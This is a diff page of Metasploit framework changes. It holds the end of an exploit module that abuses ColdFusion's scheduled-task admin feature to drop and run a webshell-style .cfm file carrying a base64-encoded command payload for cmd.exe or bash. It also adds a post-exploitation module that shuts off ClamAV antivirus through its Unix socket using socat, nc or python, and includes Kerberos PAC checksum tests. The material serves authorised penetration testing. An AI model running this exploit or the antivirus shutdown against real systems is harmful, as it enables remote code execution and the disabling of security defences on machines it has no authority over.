'proxyserver' => '',
|
||||
'proxyport' => '',
|
||||
'proxyuser' => '',
|
||||
'proxypassword' => '',
|
||||
'publish' => 'true',
|
||||
'file' => "#{job_file_path}#{payload_base}.cfm",
|
||||
'start_day' => '01',
|
||||
'start_month' => '02',
|
||||
'start_year' => '2023',
|
||||
'start_hour' => '00',
|
||||
'start_minute' => '00',
|
||||
'start_second' => '00',
|
||||
'end_day' => '',
|
||||
'end_month' => '',
|
||||
'end_year' => '',
|
||||
'end_hour' => '',
|
||||
'end_minute' => '',
|
||||
'end_second' => '',
|
||||
'interval_hour' => '1',
|
||||
'interval_minute' => '0',
|
||||
'interval_second' => '0',
|
||||
'run' => 'update'
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
|
||||
register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
|
||||
print_good('Job ' + payload_base + ' updated successfully')
|
||||
end
|
||||
|
||||
def execute_job(payload_base)
|
||||
print_status("Executing scheduled job: #{payload_base}")
|
||||
job_execution = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' => {
|
||||
'action' => 'services.schedule'
|
||||
},
|
||||
'vars_post' => {
|
||||
'row_1' => '1',
|
||||
'name_1' => payload_base,
|
||||
'mainAction' => 'execute'
|
||||
}
|
||||
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200
|
||||
|
||||
print_good('Job ' + payload_base + ' executed successfully')
|
||||
|
||||
payload_response = nil
|
||||
retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
|
||||
print_status('Attempting to access payload...')
|
||||
payload_response = send_request_cgi(
|
||||
'uri' => '/' + payload_base + '.cfm',
|
||||
'method' => 'GET'
|
||||
)
|
||||
payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
|
||||
end
|
||||
|
||||
# Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
|
||||
fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500
|
||||
|
||||
if payload_response.nil?
|
||||
print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
|
||||
elsif payload_response.code == 200
|
||||
print_good('Received 200 response from ' + payload_base + '.cfm')
|
||||
output = payload_response.body.strip
|
||||
if output.include?("\n")
|
||||
print_good('Output:')
|
||||
print_line(output)
|
||||
elsif output.present?
|
||||
print_good('Output: ' + output)
|
||||
end
|
||||
elsif payload_response.code == 500
|
||||
print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
|
||||
end
|
||||
end
|
||||
|
||||
def webroot
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return nil unless res
|
||||
|
||||
res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
|
||||
end
|
||||
|
||||
def cfm_stub
|
||||
case target['Type']
|
||||
when :windows_cmd
|
||||
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
|
||||
<cfscript>
|
||||
cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
|
||||
</cfscript>
|
||||
CFM
|
||||
when :unix_cmd
|
||||
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
|
||||
<cfscript>
|
||||
cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
|
||||
</cfscript>
|
||||
CFM
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,66 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Disable ClamAV',
|
||||
'Description' => %q{
|
||||
This module will write to the ClamAV Unix socket to shutoff ClamAV.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'DLL_Cool_J'
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [SERVICE_RESOURCE_LOSS],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CLAMAV_UNIX_SOCKET', [true, 'ClamAV unix socket', '/run/clamav/clamd.ctl' ]),
|
||||
OptString.new('COMMAND', [true, 'ClamAV command to execute', 'SHUTDOWN' ])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
clamav_socket = datastore['CLAMAV_UNIX_SOCKET']
|
||||
cmd = datastore['COMMAND']
|
||||
|
||||
if command_exists?('socat')
|
||||
print_good('socat exists')
|
||||
payload = "echo #{cmd} | socat - UNIX-CONNECT:#{clamav_socket}"
|
||||
elsif command_exists?('nc')
|
||||
print_good('nc exists')
|
||||
payload = "echo #{cmd} | nc -U #{clamav_socket}"
|
||||
elsif command_exists?('python')
|
||||
print_good('python exists')
|
||||
payload = "python -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
|
||||
elsif command_exists?('python3')
|
||||
print_good('python3 exists')
|
||||
payload = "python3 -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
|
||||
else
|
||||
fail_with(Failure::NotFound, 'No suitable binary found on the target host. Quitting!')
|
||||
end
|
||||
|
||||
print_status("Checking file path #{clamav_socket} exists and is writable... ")
|
||||
print_bad('File does NOT exist or is not writable!') unless writable?(clamav_socket.to_s)
|
||||
print_good('File does exist and is writable!')
|
||||
print_good("Sending #{cmd}...")
|
||||
cmd_exec(payload)
|
||||
end
|
||||
end
|
||||
@@ -157,7 +157,7 @@ class MetasploitModule < Msf::Post
|
||||
inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED']
|
||||
inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED']
|
||||
inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER']
|
||||
inner_filter << "(#{datastore['FILTER']})" if datastore['FILTER'] != ''
|
||||
inner_filter << "(#{datastore['FILTER']})" unless datastore['FILTER'].blank?
|
||||
case datastore['UAC']
|
||||
when 'ANY'
|
||||
when 'NO_PASSWORD'
|
||||
|
||||
@@ -47,57 +47,58 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do
|
||||
"\xc5\xd1\x21\x15\x32\x26\x92\x19\x5f\x02\x3e\x6c\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
let(:rsa_md5) { 7 }
|
||||
let(:encryption_type) { Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5 }
|
||||
|
||||
let(:logon_info) do
|
||||
validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new
|
||||
validation_info.logon_time = Time.at(1418712492)
|
||||
validation_info.effective_name = 'juan'
|
||||
validation_info.user_id = 1000
|
||||
validation_info.primary_group_id = 513
|
||||
validation_info.group_ids = [513, 512, 520, 518, 519]
|
||||
validation_info.logon_domain_name = 'DEMO.LOCAL'
|
||||
validation_info.logon_domain_id = 'S-1-5-21-1755879683-3641577184-3486455962'
|
||||
validation_info.full_name = ''
|
||||
validation_info.logon_script = ''
|
||||
validation_info.profile_path = ''
|
||||
validation_info.home_directory = ''
|
||||
validation_info.home_directory_drive = ''
|
||||
validation_info.logon_server = ''
|
||||
Rex::Proto::Kerberos::Pac::Krb5LogonInformation.new(
|
||||
data: validation_info
|
||||
)
|
||||
end
|
||||
|
||||
let(:client_info) do
|
||||
Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
|
||||
client_id: Time.at(1418712492),
|
||||
name: 'juan'
|
||||
)
|
||||
end
|
||||
|
||||
let(:server_checksum) do
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
|
||||
signature_type: encryption_type
|
||||
)
|
||||
end
|
||||
|
||||
let(:priv_srv_checksum) do
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum.new(
|
||||
signature_type: encryption_type
|
||||
)
|
||||
end
|
||||
|
||||
let(:pac_elements) do
|
||||
[
|
||||
logon_info,
|
||||
client_info,
|
||||
server_checksum,
|
||||
priv_srv_checksum
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
describe '#assign' do
|
||||
let(:logon_info) do
|
||||
validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new
|
||||
validation_info.logon_time = Time.at(1418712492)
|
||||
validation_info.effective_name = 'juan'
|
||||
validation_info.user_id = 1000
|
||||
validation_info.primary_group_id = 513
|
||||
validation_info.group_ids = [513, 512, 520, 518, 519]
|
||||
validation_info.logon_domain_name = 'DEMO.LOCAL'
|
||||
validation_info.logon_domain_id = 'S-1-5-21-1755879683-3641577184-3486455962'
|
||||
validation_info.full_name = ''
|
||||
validation_info.logon_script = ''
|
||||
validation_info.profile_path = ''
|
||||
validation_info.home_directory = ''
|
||||
validation_info.home_directory_drive = ''
|
||||
validation_info.logon_server = ''
|
||||
Rex::Proto::Kerberos::Pac::Krb5LogonInformation.new(
|
||||
data: validation_info
|
||||
)
|
||||
end
|
||||
|
||||
let(:client_info) do
|
||||
Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
|
||||
client_id: Time.at(1418712492),
|
||||
name: 'juan'
|
||||
)
|
||||
end
|
||||
|
||||
let(:server_checksum) do
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
|
||||
signature_type: rsa_md5
|
||||
)
|
||||
end
|
||||
|
||||
let(:priv_srv_checksum) do
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum.new(
|
||||
signature_type: rsa_md5
|
||||
)
|
||||
end
|
||||
|
||||
let(:pac_elements) do
|
||||
[
|
||||
logon_info,
|
||||
client_info,
|
||||
server_checksum,
|
||||
priv_srv_checksum
|
||||
]
|
||||
end
|
||||
|
||||
it 'creates a valid pac structure' do
|
||||
pac.assign(pac_elements: pac_elements)
|
||||
pac.sign!
|
||||
@@ -117,6 +118,152 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do
|
||||
expect(pac.to_binary_s).to eq(sample)
|
||||
end
|
||||
end
|
||||
|
||||
context 'missing the server and priv checksums' do
|
||||
let(:pac_elements) do
|
||||
[
|
||||
logon_info,
|
||||
client_info
|
||||
]
|
||||
end
|
||||
|
||||
it 'raises an exception with the missing elements' do
|
||||
pac.assign(pac_elements: pac_elements)
|
||||
expect { pac.sign! }.to raise_error(Rex::Proto::Kerberos::Pac::Error::MissingInfoBuffer)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with full pac checksum' do
|
||||
let(:rc4) { '88E4D9FABAECF3DEC18DD80905521B29' }
|
||||
let(:ticket_key) { [rc4].pack('H*') }
|
||||
let(:sample_with_full_pac_checksum) do
|
||||
"\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xc0\x01\x00\x00" \
|
||||
"\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
|
||||
"\x28\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \
|
||||
"\x48\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \
|
||||
"\x60\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x14\x00\x00\x00" \
|
||||
"\x78\x02\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x14\x00\x00\x00" \
|
||||
"\x90\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
|
||||
"\xb0\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
|
||||
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
|
||||
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x14\x00\x16\x00" \
|
||||
"\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\xf4\x01\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x08\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x10\x00\x12\x00" \
|
||||
"\x0a\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" \
|
||||
"\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00" \
|
||||
"\x71\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x05\x00\x00\x00\x01\x02\x00\x00\x07\x00\x00\x00\x00\x02\x00\x00" \
|
||||
"\x07\x00\x00\x00\x08\x02\x00\x00\x07\x00\x00\x00\x06\x02\x00\x00" \
|
||||
"\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x08\x00\x00\x00\x44\x00\x57\x00\x2e\x00\x4c\x00\x4f\x00\x43\x00" \
|
||||
"\x41\x00\x4c\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05" \
|
||||
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\xc1\x1c\x47\x98\xd8\x01" \
|
||||
"\x14\x00\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00" \
|
||||
"\x73\x00\x71\x00\x6c\x00\x00\x00\x76\xff\xff\xff\x92\xda\x58\x50" \
|
||||
"\x0d\x5e\x04\x41\x82\x82\xeb\x98\xa9\x05\x21\xf8\x00\x00\x00\x00" \
|
||||
"\x76\xff\xff\xff\xdd\xd9\x72\x42\xea\x7e\x60\x63\x77\x8f\x64\xcd" \
|
||||
"\x9b\x1e\x87\x2f\x00\x00\x00\x00\x76\xff\xff\xff\x08\x1b\x92\xf2" \
|
||||
"\x8c\x40\x72\x46\xda\x46\xef\x2c\x98\x8d\x01\x52\x00\x00\x00\x00" \
|
||||
"\x76\xff\xff\xff\x35\x68\x69\x1d\xb6\x3b\x77\x31\xf1\x2d\x63\x0d" \
|
||||
"\xdd\xd8\xfb\x3f\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
it 'calculates checksums correctly' do
|
||||
pac = described_class.read(sample_with_full_pac_checksum)
|
||||
tu_pac = pac.dup
|
||||
checksum_ul_types = [
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacElementType::SERVER_CHECKSUM,
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM,
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacElementType::FULL_PAC_CHECKSUM
|
||||
]
|
||||
pac.pac_info_buffers.each do |info_buffer|
|
||||
pac_element = info_buffer.buffer.pac_element
|
||||
if checksum_ul_types.include?(pac_element.ul_type)
|
||||
# Remove the signatures so we can calculate them
|
||||
pac_element.signature = nil
|
||||
end
|
||||
end
|
||||
pac.calculate_checksums!(service_key: ticket_key)
|
||||
expect(pac).to eq(tu_pac)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with keyed checksums' do
|
||||
let(:aes_256) { 'dec977048690dc9278ecea3dd07ca386295bc7ddc0d346676a498104b5f5113e' }
|
||||
let(:ticket_key) { [aes_256].pack('H*') }
|
||||
let(:sample_with_keyed_checksums) do
|
||||
"\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xc0\x01\x00\x00" \
|
||||
"\x58\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
|
||||
"\x18\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \
|
||||
"\x38\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \
|
||||
"\x48\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00" \
|
||||
"\x58\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
|
||||
"\xb0\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
|
||||
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
|
||||
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x14\x00\x16\x00" \
|
||||
"\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\xf4\x01\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x08\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x10\x00\x12\x00" \
|
||||
"\x0a\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" \
|
||||
"\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00" \
|
||||
"\x71\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x05\x00\x00\x00\x01\x02\x00\x00\x07\x00\x00\x00\x00\x02\x00\x00" \
|
||||
"\x07\x00\x00\x00\x08\x02\x00\x00\x07\x00\x00\x00\x06\x02\x00\x00" \
|
||||
"\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x08\x00\x00\x00\x44\x00\x57\x00\x2e\x00\x4c\x00\x4f\x00\x43\x00" \
|
||||
"\x41\x00\x4c\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05" \
|
||||
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\xc1\x1c\x47\x98\xd8\x01" \
|
||||
"\x14\x00\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00" \
|
||||
"\x73\x00\x71\x00\x6c\x00\x00\x00\x10\x00\x00\x00\x4a\xf8\xeb\x1e" \
|
||||
"\x30\xec\xd5\x09\x11\xe8\x92\x46\x10\x00\x00\x00\xb3\xf3\x6b\xeb" \
|
||||
"\x5d\xc3\xcb\x64\x24\x56\x75\x41\x10\x00\x00\x00\xc1\x92\xc6\x5f" \
|
||||
"\x81\x53\x91\x80\xff\xe4\x99\x4d"
|
||||
end
|
||||
it 'calculates the checksums correctly' do
|
||||
pac = described_class.read(sample_with_keyed_checksums)
|
||||
tu_pac = pac.dup
|
||||
checksum_ul_types = [
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacElementType::SERVER_CHECKSUM,
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
|
||||
]
|
||||
pac.pac_info_buffers.each do |info_buffer|
|
||||
pac_element = info_buffer.buffer.pac_element
|
||||
if checksum_ul_types.include?(pac_element.ul_type)
|
||||
# Remove the signatures so we can calculate them
|
||||
pac_element.signature = nil
|
||||
end
|
||||
end
|
||||
pac.calculate_checksums!(service_key: ticket_key)
|
||||
expect(pac).to eq(tu_pac)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
RSpec.describe Rex::Proto::Kerberos::Pac::Krb5LogonInformation do
|
||||
|
||||
Reference in New Issue
Block a user